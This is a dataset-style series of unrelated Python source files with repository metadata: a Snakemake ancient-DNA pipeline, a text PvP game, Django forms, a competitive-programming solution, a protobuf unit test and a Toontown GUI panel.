= aligned_mito + "{sample}_trimmed_merged_mapped.sam", ref = sequence_fasta output: clipped = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam" run: shell("samclip --ref {input.ref} {input.sam} > {output.clipped}") # shell: # """ # awk 'BEGIN {{OFS="t"}} {{split($6,C,/[0-9]*/); split($6,L,/[SMDIN]/); if (C[2]=="S") {{$10=substr($10,L[1]+1); $11=substr($11,L[1]+1)}}; if (C[length(C)]=="S") {{L1=length($10)-L[length(L)-1]; $10=substr($10,1,L1); $11=substr($11,1,L1); }}; gsub(/[0-9]*S/,"",$6); print}}' {input.sam} > {output.clipped} # """ # rule realign_sam_to_bam: # input: # sam = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam", # ref = sequence_fasta # output: # bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" # params: # elongate = 500 # run: # shell("java -jar {realign_sam_prg} -e {params.elongate} -i {input.sam} -r {input.ref};mv {aligned_mito}{wildcards.sample}_trimmed_merged_mapped_realigned.bam {bam_folder}") rule sam_to_bam: input: sam = clipped_folder + "{sample}_trimmed_merged_mapped_clipped.sam", output: bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" run: shell("samtools view -@ {g_threads} -bSh {input.sam} > {output.bam}") rule read_filter_f4: input: bam = bam_folder + "{sample}_trimmed_merged_mapped_realigned.bam" output: filtered = filtered + "{sample}_trimmed_merged_mapped_realigned_f4.bam" run: shell("samtools view -@ {g_threads} -bh -F4 {input.bam} > {output.filtered}") rule min_35: input: filtered = filtered + "{sample}_trimmed_merged_mapped_realigned_f4.bam" output: filtered = min35_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35.bam" run: shell("samtools view -@ {g_threads} -h {input.filtered} | awk 'length($10) > 30 || $1 ~ /^@/' | samtools view -bS - > {output.filtered}") rule read_filter_q30: input: filtered = min35_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35.bam" output: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam" params: filter_amount = 30 run: shell('samtools view -@ {g_threads} -bh -q {params.filter_amount} {input.filtered} > {output.quality}') rule sort_to_left: input: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam" output: sort_to_left = sort_to_left_dir + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort.bam" run: shell("samtools sort -@ {g_threads} {input.quality} -o {output.sort_to_left}") rule remove_duplicates: input: sort_to_left = sort_to_left_dir + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort.bam" output: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", run: shell("bam-rmdup -o {output.rmdupss} {input.sort_to_left} --verbose") rule bam_to_fasta: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", ref = sequence_fasta, output: fasta = rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta" shell: "{schmutzi_endocaller} {input.rmdupss} {input.ref} {output.fasta}" rule index_rmdups: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: indexed_rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam.bai" run: shell("samtools index -@ {g_threads} {input.rmdupss}") # reporting shizzle rule fqc_sample: input: fastq = samples + "{sample}_{part}_001.fastq.gz" output: folder = fqc_folder + "{sample}_{part}_001_fastqc.html" wildcard_constraints: part="R1|R2" shell: "fastqc -o {fqc_folder} {input.fastq}" rule fqc_trimmed: input: fastq = merged_trimmed + "{sample}_trimmed_merged.fq.gz" output: fastqc = fqctrim_folder + "{sample}_trimmed_merged_fastqc.html" shell: "fastqc -o {fqctrim_folder} {input.fastq}" rule mapDamage: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", indexed_rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam.bai" output: sample = md_folder + "{sample}/Fragmisincorporation_plot.pdf" params: settings = "--rescale", outfolder = md_folder + "{sample}" shell: "mapDamage -i {input.rmdupss} -r {sequence_fasta} -d {params.outfolder} {params.settings}" rule qualiMap: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: results = directory(qualimap_folder + "{sample}/"), shell: "qualimap bamqc -bam {input} -outdir {output.results} -outformat HTML || mkdir -p {output.results}" rule mapping_report: input: quality = q30 + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30.bam", rmdup = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam", trim_report = merged_trimmed + "{sample}_report.txt", qualimap = qualimap_folder + "{sample}/" output: mapping_report = mapping_folder + "{sample}_mapping_report.json" run: f = open(output.mapping_report, "w") f.write(json.dumps(parse_it(wildcards.sample, input.trim_report, input.quality, input.qualimap), indent=4, sort_keys=True)) f.close() rule agr_mapping_report: input: expand(mapping_folder + "{sample}_mapping_report.json", sample=get_files()) output: tsv = mapping_folder + "aggregated_mapping_report_mqc.tsv" run: aggr_report = open(output.tsv, "w") tsv = csv.writer(aggr_report, delimiter='\t') tsv.writerow(['sample', 'lh_total', 'lh_mergTrim', 'lh_mergOver', 'lh_kept', 'lh_chimer', 'q30_bam', 'qm_cov_mean', 'qm_cov_std', 'qm_reads']) for f in input: report = open(f, "r") data = json.load(report) tsv.writerow([ data['sample'],data['leeHom']['total'], data['leeHom']['merged_trim'], data['leeHom']['merged_overlap'], data['leeHom']['kept'], data['leeHom']['adapter_dimers_chimeras'], data['q30_bam'], data['qualimap']['mean'], data['qualimap']['std'], data['qualimap']['reads']]) report.close() aggr_report.close() rule multiqc: output: directory(current_dir + "Data/multiqc/") shell: "multiqc -o {output} Data/" rule haplogrep: input: fasta = rmdupf_folder + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.fasta" output: haplogrep = hg_folder + "{sample}_trimmed_mapped_realigned_f4_q30_sort_rmdup_fasta_haplogrep.out" shell: "haplogrep --in {input.fasta} --format fasta --out {output.haplogrep}" rule haplocheck: input: rmdupss = rem_dups + "{sample}_trimmed_merged_mapped_realigned_f4_min35_q30_sort_rmdup.bam" output: haplocheck = directory(hc_folder + "{sample}/") shell: "cloudgene run haplocheck@1.3.2 --files {input.rmdupss} --format bam --output {output.haplocheck}" mk_dirs()

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print(" Welcome to VAN (PvP) by Richard.") print(" 1.2.3") input(" WE HAVE THREE HEROS:(press enter to continue)") print(" YOU CAN USE 3 AFTER THE 4TH ROUND AND 4ROUNDS AFTER.") print(" BRUCE : |HP=150|a_10|1_强化a或2|2_+20HP |3_ +50HP |") print(" THE HIGHEST HP IS 150") print(" RICHARD : |HP=150|a_15|1_+10HP |2_ 30 |3_ ANI'HP/2|") print(" 生命值小于等于三十，a=20,2=40") print(" KATE : |HP=250|a_10|1_+30HP |2_100HP |3_伤害(250-HP)/2|") print(" THE HIGHEST HP IS 250") print(" TONY : |HP=150|a=10|1_三回合持续伤害，每回合10.|2_+20HP|3_伤害自己10HP，抉择：敌方HP-45 or 三回合持续攻击15/round|") print(" |4.消灭TONY并以LUIS大王代替之。LUIS：HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round|") PLAYER1=input("Now , player1 choose the hero:") while PLAYER1 != "BRUCE" and PLAYER1 != "RICHARD" and PLAYER1 != "KATE" and PLAYER1 != "TONY": PLAYER1=input("Now , player1 choose the hero:") if PLAYER1=="BRUCE": HPI=150 NI=150 if PLAYER1=="RICHARD": HPI=150 NI=150 if PLAYER1=="KATE": HPI=250 NI=250 if PLAYER1=="TONY": HPI=150 NI=150 PLAYER2=input("Now , player2 choose the hero:") while PLAYER2 != "BRUCE" and PLAYER2 != "RICHARD" and PLAYER2 != "KATE" and PLAYER2 != "TONY": PLAYER2=input("Now , player2 choose the hero:") if PLAYER2=="BRUCE": HPII=150 NII=150 if PLAYER2=="RICHARD": HPII=150 NII=150 if PLAYER2=="KATE": HPII=250 NII=250 if PLAYER2=="TONY": HPII=150 NII=150 input("(press enter to continue)") MODE=input("CHOOSE YOUR GAME MODE: 1-血战到底 2-打死你.") print(" AND NOW THE GAME BEGINS") print(" IF YOU DIED IN 1-19 ROUND ") print(" YOU ARE NOT THE LOSER") print(" YOU CAN STILL ADD HP!!!!!") print(" NEVER GIVE UP!") #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- while HPI>0 and HPII>0: print("----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------") PL1=input(" NOW , PLAYER 1 CHOOSE WHAT TO DO.") if PLAYER1=="BRUCE": if PL1=="a": HPII=HPII-10 if PL1=="1": BNM1=input("a or 2") if BNM1=="a": if HPI<=140: HPI=HPI+10 else: HPI=150 HPII=HPII-10 if BNM1=="2": if HPI<=130: HPI=HPI+20 else: HPI=150 HPII=HPII-5 if PL1=="2": if HPI<=130: HPI=HPI+20 else: HPI=150 if PL1=="3": if HPI<=100: HPI=HPI+50 else: HPI=150 if PLAYER1=="RICHARD": if PL1=="a": if HPI>30: HPII=HPII-15 else: HPII=HPII-20 if PL1=="1": if HPI<=140: HPI=HPI+10 else: HPI=150 if PL1=="2": if HPI>30: HPII=HPII-30 else: HPII=HPII-40 if PL1=="3": HPII=HPII/2 if PLAYER1=="KATE": if PL1=="a": HPII=HPII-10 if PL1=="1": if HPI<=220: HPI=HPI+30 else: HPI=250 if PL1=="2": HPI=100 if PL1=="3": HPII=HPII-(250-HPI)/2 if PLAYER1=="TONY": TO1=0 TOTO1=0 MNMNMN1=1 if PL1=="a": HPII=HPII-10 if PL1=="1": TO1=4 if PL1=="2": if HPI>=130: HPI=150 if HPI<130: HPI=HPI+20 if PL1=="3": HPI=HPI-10 CHOOSE=input("choose 1 or 2:1-敌方HP-30 or 2-三回合持续攻击10/round") if CHOOSE=="1": HPII=HPII-45 if CHOOSE=="2": TOTO1=4 if PL1=="4": PLAYER1="LUIS" print("You are Luis The King now!") print(" ") print("LUIS：HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round") print(" ") print("WRYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!!!") print(" ") HPI=100 NI=100 TO1=TO1-1 if TO1<=0: TO1=0 if TO1==1 or TO1==2 or TO1==3: HPII=HPII-10 TOTO1=TOTO1-1 if TOTO1<=0: TOTO1=0 if TOTO1==1 or TOTO1==2 or TOTO1==3: HPII=HPII-15 if PLAYER1=="LUIS": LUISGOOD1=0 if PL1=="a": HPII=HPII-20 if PL1=="1": HPII=HPII-30 if PL1=="2": if HPI>=80: HPI=100 if HPI<80: HPI=HPI+20 if PL1=="3": LUISGOOD1=4 LUISGOOD1=LUISGOOD1-1 if LUISGOOD1<=0: LUISGOOD1=0 if LUISGOOD1==1 or LUISGOOD1==2 or LUISGOOD1==3: HPII=HPII-15 #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- PL2=input(" NOW , PLAYER 2 CHOOSE WHAT TO DO.") if PLAYER2=="BRUCE": if PL2=="a": HPI=HPI-10 if PL2=="1": BNM2=input("a or 2") if BNM2=="a": if HPII<=140: HPII=HPII+10 else: HPII=150 HPI=HPI-10 if BNM2=="2": if HPII<=130: HPII=HPII+20 else: HPII=150 HPI=HPI-5 if PL2=="2": if HPII<=130: HPII=HPII+20 else: HPII=150 if PL2=="3": if HPII<=100: HPII=HPII+50 else: HPII=150 if PLAYER2=="RICHARD": if PL2=="a": if HPII>30: HPI=HPI-15 else: HPI=HPI-20 if PL2=="1": if HPII<=140: HPII=HPII+10 else: HPII=150 if PL2=="2": if HPII>30: HPI=HPI-30 else: HPI=HPI-40 if PL2=="3": HPI=HPI/2 if PLAYER2=="KATE": if PL2=="a": HPI=HPI-10 if PL2=="1": if HPII<=220: HPII=HPII+30 else: HPII=250 if PL2=="2": HPII=100 if PL2=="3": HPI=HPI-(250-HPII)/2 if PLAYER2=="TONY": TO2=0 TOTO2=0 MNMNMN2=1 if PL2=="a": HPI=HPI-10 if PL2=="1": TO2=4 if PL2=="2": if HPII>=130: HPII=150 if HPII<130: HPII=HPII+20 if PL2=="3": HPII=HPII-10 CHOOSE=input("choose 1 or 2:1-敌方HP-30 or 2-三回合持续攻击10/round") if CHOOSE=="1": HPI=HPI-45 if CHOOSE=="2": TOTO2=4 if PL2=="4": PLAYER2="LUIS" print("You are Luis The King now!") print(" ") print("LUIS：HP=100 a=20 1_ 30 2_+20HP 3_ 持续三回合攻击15/round") print(" ") print("WRYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!!!") print(" ") HPII=100 NII=100 TO2=TO2-1 if TO2<=0: TO2=0 if TO2==1 or TO2==2 or TO2==3: HPI=HPI-10 TOTO2=TOTO2-1 if TOTO2<=0: TOTO2=0 if TOTO2==1 or TOTO2==2 or TOTO2==3: HPI=HPI-15 if PLAYER2=="LUIS": LUISGOOD2=0 if PL2=="a": HPI=HPI-20 if PL2=="1": HPI=HPI-30 if PL2=="2": if HPII>=80: HPII=100 if HPII<80: HPII=HPII+20 if PL2=="3": LUISGOOD2=4 LUISGOOD2=LUISGOOD2-1 if LUISGOOD2<=0: LUISGOOD2=0 if LUISGOOD2==1 or LUISGOOD2==2 or LUISGOOD2==3: HPI=HPI-15 print("PLAYER ONE HP:",HPI,"/",NI) print("PLAYER TWO HP:",HPII,"/",NII) print("----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------") #---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- if HPI==0: print("PLAYER TWO IS THE WINNER !") if HPII==0: print("PLAYER ONE IS THE WINNER !") #============================================ENDING================================== ENDINGCHOICE=input("You can end this program by pressing enter . Or you can enter 'ending' to see the ending .") if ENDINGCHOICE=="ending" or ENDINGCHOICE=="ENDING": print("THIS GAME IS PRESENTED BY =BRICONIS= .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("WE WILL KEEP UPDATING THIS GAME UNTIL IT IS COMPLETELY COMPLETED .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("FOR TEAM BRICONIS , WE HAVE BRUCE , RICHARD , TONY AND LUIS .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("AND WE ARE ALL EXPECTING YOU TO HAVE A GOOD LIFE .") input("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print(" ___________ ") print(" || BRUCE || ") print(" ||RICHARD|| ") print(" || TONY || ") print(" || LUIS || ") print(" ||<<<|>>>|| ") print(" ||THANKS || ") print(" || FOR || ") print(" ||PLAYING|| ") print(" ++++++++++++++++++++++++++++++++++++++++++++~~~~~~~~~~+++++++ ") print(" ========================================================================= ") print(" ===================================================================================== ") print(" =================================================================================================") print(" ||| |||") print(" ||| ____________________________________________________________________________ |||") print(" ||| {YOU DON'T HAVE TO LOOK AT THIS ENDING EVERY TIME AFTER YOU PLAY THIS GAME.} |||") print(" ||| {THIS ENDING IS FOR THOSE PEOPLE WHO IS THE FIRST TIME PLAYING THIS GAME .} |||") print(" ||| {WE MADE THIS GAME FOR YOU GUYS TO RELAX AND TO HAVE A LITTLE COMPETITION .} |||") print(" ||| { AND WE WILL BE VERY GLAD IF YOU GUYS LIKE IT .} |||") print(" ||| {I HAVE A LOT OF THINGS TO SAY , BUT I'M AFRAID OF THIS HOUSE WOULD BE TOO } |||") print(" ||| { HIGH .} |||") print(" ||| {WELL , I SUDDENLY REALIZED THAT IT IS NON OF MY BUSINESS HOW HIGH THIS } |||") print(" ||| { HOUSE WILL BE .} |||") print(" ||| {HOWEVER , DO YOU THINK THIS IS A GOOD EXPERIENCE of.......................} |||") print(" ||| {..........................................................TALKING WITH ME?} |||") print(" ||| {WISH YOU HAVE A GOOD TIME DURING ENJOYING YOUR LIFE !} |||") print(" ||| {IF YOU THINK YOUR LIFE IS UNLUCKY.........................................} |||") print(" ||| { WISH YOU WILL BE LUCKY TOMORROW .} |||") print(" ||| { SEE YOU NEXT TIME!!!!!!!!} |||") print(" ||| ---------------------------------------------------------------------------- |||") print(" ||| |||") print(" ||| |||") print(" ||| |||") print(" ||| ____________ |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | @ | |||") print(" ||| | | |||") print(" ||| | | |||") print(" ||| | | |||") print(" #################################################################################################") print(" #################################################################################################") print(" #################################################################################################") print("\n") input(" press enter to open the door...... ") input(" AND...............................it is locked. Press enter again please. ") print(" THERE IS NOTHING IN HERE , DUDE ! WHY DID YOU BELIEVE IN RICHARD'S LIE!!!!!!!!!!!!!!!!") input("=============================================THANKS FOR PLAYING!=============================================") print(" (and being an ideat.hahaha!)") else: print("=============================================THANKS FOR PLAYING!=============================================")

[ "66343319+EEExphon@users.noreply.github.com" ]

66343319+EEExphon@users.noreply.github.com

a84ac936437258717daeea9c08499dcb1c33ff47

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/tech_academy/forms.py

fdc814cfff959a4e0d59424f276b561b077e05e5

[]

no_license

akenz1901/Tech_Academy

53bbd60825e2e9c50300d9e74f8182f67dfe8746

59a7679fe603edab8413a97654c20038a059c382

refs/heads/main

2023-08-01T01:57:41.829603

2021-09-29T18:39:35

408,521,010

0

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UTF-8

Python

false

317

py

from django import forms from .models import Cohort, Native class CohortForm(forms.ModelForm): class Meta: model = Cohort fields = ('name', 'description') class NativeForm(forms.ModelForm): class Meta: model = Native fields = ('first_name', 'last_name', 'image', 'cohort')

[ "michael_aka1@icloud.com" ]

michael_aka1@icloud.com

12ed10992acff4d7f93ed92ce7a5f1479b3bbcd2

360009e71b07da5cd99660c0cd14bfb0b989fa98

/views.py

eea045eda30457221cc8d17c3baa2ac8665ffe1a

[]

no_license

xml-star/dangdang

4438b7e2be3eaf3d428f60b173a5305635b2953c

6360350cede21f0b33506fe8004eb4981f76e73b

refs/heads/master

2022-12-29T16:43:09.940206

2020-10-19T13:51:45

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148

py

this is my first view this is my second view this is my third view this is my fifth view this is my sixth view this is my 7 view this is my 8 views

[ "xml@qq.com" ]

xml@qq.com

b4220ae436274742cb4a64b35868e2a7c4a956f0

fd1dba8223ad1938916369b5eb721305ef197b30

/AtCoder/AGC/agc027/agc027d.py

b8ef2fee8aa0ffdd70bf993f73acf5770998734c

[]

no_license

genkinanodesu/competitive

a3befd2f4127e2d41736655c8d0acfa9dc99c150

47003d545bcea848b409d60443655edb543d6ebb

refs/heads/master

2020-03-30T07:41:08.803867

2019-06-10T05:22:17

150,958,656

0

null

UTF-8

Python

false

1,046

py

N = int(input()) if N == 2: print(4, 7) print(23, 10) exit() a= [[0] * N for _ in range(N)] def sieve(n): ''' :param n: :return: n以下の素数のリストを返すエラトステネスの篩→O(n log log n) ''' prime = [] is_prime = [True] * (n + 1) #is_prime[i] = Trueならiは素数 is_prime[0] = False is_prime[1] = False for i in range(2, n+1): if is_prime[i]: prime.append(i) for j in range(2 * i, n + 1, i): is_prime[j] = False return prime P = sieve(8000) #len(P) > 1000 def p1(k): return P[(k // 2) + 1] def p2(k): if k >= 0: return P[(k // 2) + N + 1] else: return P[k // 2] for i in range(N): for j in range(N): if (i + j) % 2 == 0: a[i][j] = p1(i + j) * p2(i - j) else: a[i][j] = p1(i + j + 1) * p1(i + j - 1) * p2(i - j + 1) * p2(i - j - 1) + 1 for i in range(N): print(' '.join(map(str, a[i])))

[ "s.genki0605@gmail.com" ]

s.genki0605@gmail.com

ef2c699870744ffa06c10e14205661496f9ab442

545afb3cfe89f82b558faa5b5b28c28b8e3effce

/venv/Lib/site-packages/google/protobuf/internal/message_factory_test.py

3a2cbdeb8bedd3ae240aa5b38eca968c61e35421

[ "MIT" ]

permissive

parthpankajtiwary/keras-groundup

24ad45a4b872e6d77fff8a6f4a3a6d60124a0628

0df0844e7d9dca741fad0965761a12f72ee51f07

refs/heads/master

2022-11-09T22:34:35.716466

2019-10-01T11:01:59

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2022-10-25T06:47:55

2019-09-25T18:31:49

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#! /usr/bin/env python # # Protocol Buffers - Google's data interchange format # Copyright 2008 Google Inc. All rights reserved. # https://developers.google.com/protocol-buffers/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Tests for google.protobuf.message_factory.""" __author__ = 'matthewtoia@google.com (Matt Toia)' try: import unittest2 as unittest #PY26 except ImportError: import unittest from google.protobuf import descriptor_pb2 from google.protobuf.internal import api_implementation from google.protobuf.internal import factory_test1_pb2 from google.protobuf.internal import factory_test2_pb2 from google.protobuf.internal import testing_refleaks from google.protobuf import descriptor_database from google.protobuf import descriptor_pool from google.protobuf import message_factory @testing_refleaks.TestCase class MessageFactoryTest(unittest.TestCase): def setUp(self): self.factory_test1_fd = descriptor_pb2.FileDescriptorProto.FromString( factory_test1_pb2.DESCRIPTOR.serialized_pb) self.factory_test2_fd = descriptor_pb2.FileDescriptorProto.FromString( factory_test2_pb2.DESCRIPTOR.serialized_pb) def _ExerciseDynamicClass(self, cls): msg = cls() msg.mandatory = 42 msg.nested_factory_2_enum = 0 msg.nested_factory_2_message.value = 'nested message value' msg.factory_1_message.factory_1_enum = 1 msg.factory_1_message.nested_factory_1_enum = 0 msg.factory_1_message.nested_factory_1_message.value = ( 'nested message value') msg.factory_1_message.scalar_value = 22 msg.factory_1_message.list_value.extend([u'one', u'two', u'three']) msg.factory_1_message.list_value.append(u'four') msg.factory_1_enum = 1 msg.nested_factory_1_enum = 0 msg.nested_factory_1_message.value = 'nested message value' msg.circular_message.mandatory = 1 msg.circular_message.circular_message.mandatory = 2 msg.circular_message.scalar_value = 'one deep' msg.scalar_value = 'zero deep' msg.list_value.extend([u'four', u'three', u'two']) msg.list_value.append(u'one') msg.grouped.add() msg.grouped[0].part_1 = 'hello' msg.grouped[0].part_2 = 'world' msg.grouped.add(part_1='testing', part_2='123') msg.loop.loop.mandatory = 2 msg.loop.loop.loop.loop.mandatory = 4 serialized = msg.SerializeToString() converted = factory_test2_pb2.Factory2Message.FromString(serialized) reserialized = converted.SerializeToString() self.assertEqual(serialized, reserialized) result = cls.FromString(reserialized) self.assertEqual(msg, result) def testGetPrototype(self): db = descriptor_database.DescriptorDatabase() pool = descriptor_pool.DescriptorPool(db) db.Add(self.factory_test1_fd) db.Add(self.factory_test2_fd) factory = message_factory.MessageFactory() cls = factory.GetPrototype(pool.FindMessageTypeByName( 'google.protobuf.python.internal.Factory2Message')) self.assertFalse(cls is factory_test2_pb2.Factory2Message) self._ExerciseDynamicClass(cls) cls2 = factory.GetPrototype(pool.FindMessageTypeByName( 'google.protobuf.python.internal.Factory2Message')) self.assertTrue(cls is cls2) def testGetMessages(self): # performed twice because multiple calls with the same input must be allowed for _ in range(2): # GetMessage should work regardless of the order the FileDescriptorProto # are provided. In particular, the function should succeed when the files # are not in the topological order of dependencies. # Assuming factory_test2_fd depends on factory_test1_fd. self.assertIn(self.factory_test1_fd.name, self.factory_test2_fd.dependency) # Get messages should work when a file comes before its dependencies: # factory_test2_fd comes before factory_test1_fd. messages = message_factory.GetMessages([self.factory_test2_fd, self.factory_test1_fd]) self.assertTrue( set(['google.protobuf.python.internal.Factory2Message', 'google.protobuf.python.internal.Factory1Message'], ).issubset(set(messages.keys()))) self._ExerciseDynamicClass( messages['google.protobuf.python.internal.Factory2Message']) factory_msg1 = messages['google.protobuf.python.internal.Factory1Message'] self.assertTrue(set( ['google.protobuf.python.internal.Factory2Message.one_more_field', 'google.protobuf.python.internal.another_field'],).issubset(set( ext.full_name for ext in factory_msg1.DESCRIPTOR.file.pool.FindAllExtensions( factory_msg1.DESCRIPTOR)))) msg1 = messages['google.protobuf.python.internal.Factory1Message']() ext1 = msg1.Extensions._FindExtensionByName( 'google.protobuf.python.internal.Factory2Message.one_more_field') ext2 = msg1.Extensions._FindExtensionByName( 'google.protobuf.python.internal.another_field') self.assertEqual(0, len(msg1.Extensions)) msg1.Extensions[ext1] = 'test1' msg1.Extensions[ext2] = 'test2' self.assertEqual('test1', msg1.Extensions[ext1]) self.assertEqual('test2', msg1.Extensions[ext2]) self.assertEqual(None, msg1.Extensions._FindExtensionByNumber(12321)) self.assertEqual(2, len(msg1.Extensions)) if api_implementation.Type() == 'cpp': self.assertRaises(TypeError, msg1.Extensions._FindExtensionByName, 0) self.assertRaises(TypeError, msg1.Extensions._FindExtensionByNumber, '') else: self.assertEqual(None, msg1.Extensions._FindExtensionByName(0)) self.assertEqual(None, msg1.Extensions._FindExtensionByNumber('')) def testDuplicateExtensionNumber(self): pool = descriptor_pool.DescriptorPool() factory = message_factory.MessageFactory(pool=pool) # Add Container message. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/container.proto' f.package = 'google.protobuf.python.internal' msg = f.message_type.add() msg.name = 'Container' rng = msg.extension_range.add() rng.start = 1 rng.end = 10 pool.Add(f) msgs = factory.GetMessages([f.name]) self.assertIn('google.protobuf.python.internal.Container', msgs) # Extend container. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/extension.proto' f.package = 'google.protobuf.python.internal' f.dependency.append('google/protobuf/internal/container.proto') msg = f.message_type.add() msg.name = 'Extension' ext = msg.extension.add() ext.name = 'extension_field' ext.number = 2 ext.label = descriptor_pb2.FieldDescriptorProto.LABEL_OPTIONAL ext.type_name = 'Extension' ext.extendee = 'Container' pool.Add(f) msgs = factory.GetMessages([f.name]) self.assertIn('google.protobuf.python.internal.Extension', msgs) # Add Duplicate extending the same field number. f = descriptor_pb2.FileDescriptorProto() f.name = 'google/protobuf/internal/duplicate.proto' f.package = 'google.protobuf.python.internal' f.dependency.append('google/protobuf/internal/container.proto') msg = f.message_type.add() msg.name = 'Duplicate' ext = msg.extension.add() ext.name = 'extension_field' ext.number = 2 ext.label = descriptor_pb2.FieldDescriptorProto.LABEL_OPTIONAL ext.type_name = 'Duplicate' ext.extendee = 'Container' pool.Add(f) with self.assertRaises(Exception) as cm: factory.GetMessages([f.name]) self.assertIn(str(cm.exception), ['Extensions ' '"google.protobuf.python.internal.Duplicate.extension_field" and' ' "google.protobuf.python.internal.Extension.extension_field"' ' both try to extend message type' ' "google.protobuf.python.internal.Container"' ' with field number 2.', 'Double registration of Extensions']) if __name__ == '__main__': unittest.main()

[ "parthpankajtiwary@gmail.com" ]

parthpankajtiwary@gmail.com

08a9f916a169cc7477429191108a198d7dbcfc99

7949f96ee7feeaa163608dbd256b0b76d1b89258

/toontown/minigame/MinigameRulesPanel.py

e895a9cd4459e40afe609b5becb4e06f92614d2b

[]

no_license

xxdecryptionxx/ToontownOnline

414619744b4c40588f9a86c8e01cb951ffe53e2d

e6c20e6ce56f2320217f2ddde8f632a63848bd6b

refs/heads/master

2021-01-11T03:08:59.934044

2018-07-27T01:26:21

71,086,644

8

10

null

2018-06-01T00:13:34

2016-10-17T00:39:41

Python

UTF-8

Python

false

2,924

py

# File: t (Python 2.4) from direct.task import Task from direct.fsm import StateData from toontown.toonbase.ToontownGlobals import * from direct.gui.DirectGui import * from pandac.PandaModules import * from toontown.toonbase import ToontownTimer from toontown.toonbase import TTLocalizer import MinigameGlobals class MinigameRulesPanel(StateData.StateData): def __init__(self, panelName, gameTitle, instructions, doneEvent, timeout = MinigameGlobals.rulesDuration): StateData.StateData.__init__(self, doneEvent) self.gameTitle = gameTitle self.instructions = instructions self.TIMEOUT = timeout def load(self): minigameGui = loader.loadModel('phase_4/models/gui/minigame_rules_gui') buttonGui = loader.loadModel('phase_3.5/models/gui/inventory_gui') self.frame = DirectFrame(image = minigameGui.find('**/minigame-rules-panel'), relief = None, pos = (0.13750000000000001, 0, -0.66669999999999996)) self.gameTitleText = DirectLabel(parent = self.frame, text = self.gameTitle, scale = TTLocalizer.MRPgameTitleText, text_align = TextNode.ACenter, text_font = getSignFont(), text_fg = (1.0, 0.33000000000000002, 0.33000000000000002, 1.0), pos = TTLocalizer.MRgameTitleTextPos, relief = None) self.instructionsText = DirectLabel(parent = self.frame, text = self.instructions, scale = TTLocalizer.MRPinstructionsText, text_align = TextNode.ACenter, 